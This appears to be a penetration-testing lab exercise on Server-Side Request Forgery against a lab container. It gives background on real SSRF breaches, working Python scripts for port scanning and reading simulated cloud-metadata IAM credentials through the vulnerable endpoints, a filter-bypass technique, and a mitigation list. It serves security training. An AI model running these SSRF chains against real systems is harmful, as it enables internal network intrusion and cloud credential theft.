Chain Server-Side Request Forgery attacks to pivot from the web application into the internal network from Kali Linux:
Direct SSRF — use /api/fetch?url= to read internal-only API endpoints the attacker cannot reach directly
Webhook filter bypass — the webhook endpoint blocks localhost literally but not 127.0.0.1, 0.0.0.0, or [::]
Internal port scanning — use SSRF to enumerate open ports on the victim container
Cloud metadata simulation — read a simulated 169.254.169.254 metadata endpoint for IAM credentials
Background
SSRF weaponises the server as a proxy into networks the attacker cannot reach — internal APIs, admin panels, cloud metadata, database management interfaces.
Real-world examples:
2019 Capital One breach — SSRF via AWS WAF misconfiguration allowed an EC2 instance to reach 169.254.169.254; IAM role credentials returned; attacker accessed S3 buckets containing 100M customer records.
2021 GitLab (CVE-2021-22214) — SSRF in the CI/CD webhook feature allowed requests to internal Kubernetes API server; cluster credentials returned.
2022 Confluence SSRF — combined with RCE to scan internal networks; used to pivot from DMZ web servers to internal database servers.
AWS IMDSv1 — any EC2 instance can request http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> to get temporary AWS credentials. IMDSv2 requires a PUT pre-flight to mitigate SSRF, but many apps still use IMDSv1.
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv11:5000"
print("[*] Internal port scan via SSRF portscan endpoint:")
print()
# Scan common service ports on the victim itself
r = json.loads(urllib.request.urlopen(
f"{T}/api/portscan?host=victim-adv11&ports=22,80,443,3306,5432,5000,6379,8080,8443,27017,9200"
).read())
print(f" Target: {r['host']}")
for port, state in sorted(r['ports'].items(), key=lambda x: int(x[0])):
if state == 'open':
services = {22:'SSH',80:'HTTP',443:'HTTPS',3306:'MySQL',5432:'PostgreSQL',
5000:'Flask',6379:'Redis',8080:'HTTP-Alt',27017:'MongoDB',9200:'Elasticsearch'}
svc = services.get(int(port), 'unknown')
print(f" {port}/tcp OPEN ({svc})")
else:
print(f" {port}/tcp closed")
print()
# Scan internal network range via SSRF
print("[*] Simulated internal network scan (127.0.0.x range):")
for last_octet in [1, 5, 10, 100]:
try:
r2 = json.loads(urllib.request.urlopen(
f"{T}/api/portscan?host=127.0.0.{last_octet}&ports=80,443,5000,8080", timeout=3
).read())
open_ports = [p for p,s in r2['ports'].items() if s=='open']
if open_ports:
print(f" 127.0.0.{last_octet}: open ports = {open_ports}")
except: pass
EOF
python3 << 'EOF'
import urllib.request, json, urllib.parse
T = "http://victim-adv11:5000"
print("[*] Simulated AWS IMDSv1 credential theft via SSRF:")
target = "http://127.0.0.1:5000/latest/meta-data/iam/security-credentials/EC2ProductionRole"
r = json.loads(urllib.request.urlopen(T+"/api/fetch?url="+urllib.parse.quote(target)).read())
creds = json.loads(r.get('content','{}'))
print(f" Role: EC2ProductionRole")
print(f" AccessKeyId: {creds.get('AccessKeyId')}")
print(f" SecretAccessKey: {creds.get('SecretAccessKey','')[:20]}...")
print(f" Token: {creds.get('Token','')[:20]}...")
print()
print("[!] With these credentials, attacker can:")
print(" aws s3 ls --no-sign-request (list all S3 buckets)")
print(" aws sts get-caller-identity (confirm account ownership)")
print(" aws ec2 describe-instances (enumerate all instances)")
print()
print("[*] Mitigations:")
mitigations = [
"Block 169.254.169.254 at firewall level",
"Enable AWS IMDSv2 (requires PUT pre-flight — prevents SSRF exploitation)",
"Validate URL scheme (only allow https://), reject ip ranges, reject private CIDRs",
"Use allowlist of permitted domains instead of blocklist",
"Resolve DNS before request, check against blocked IP ranges",
"Bind internal services to 127.0.0.1 only (not 0.0.0.0)",
]
for m in mitigations:
print(f" • {m}")
EOF
exit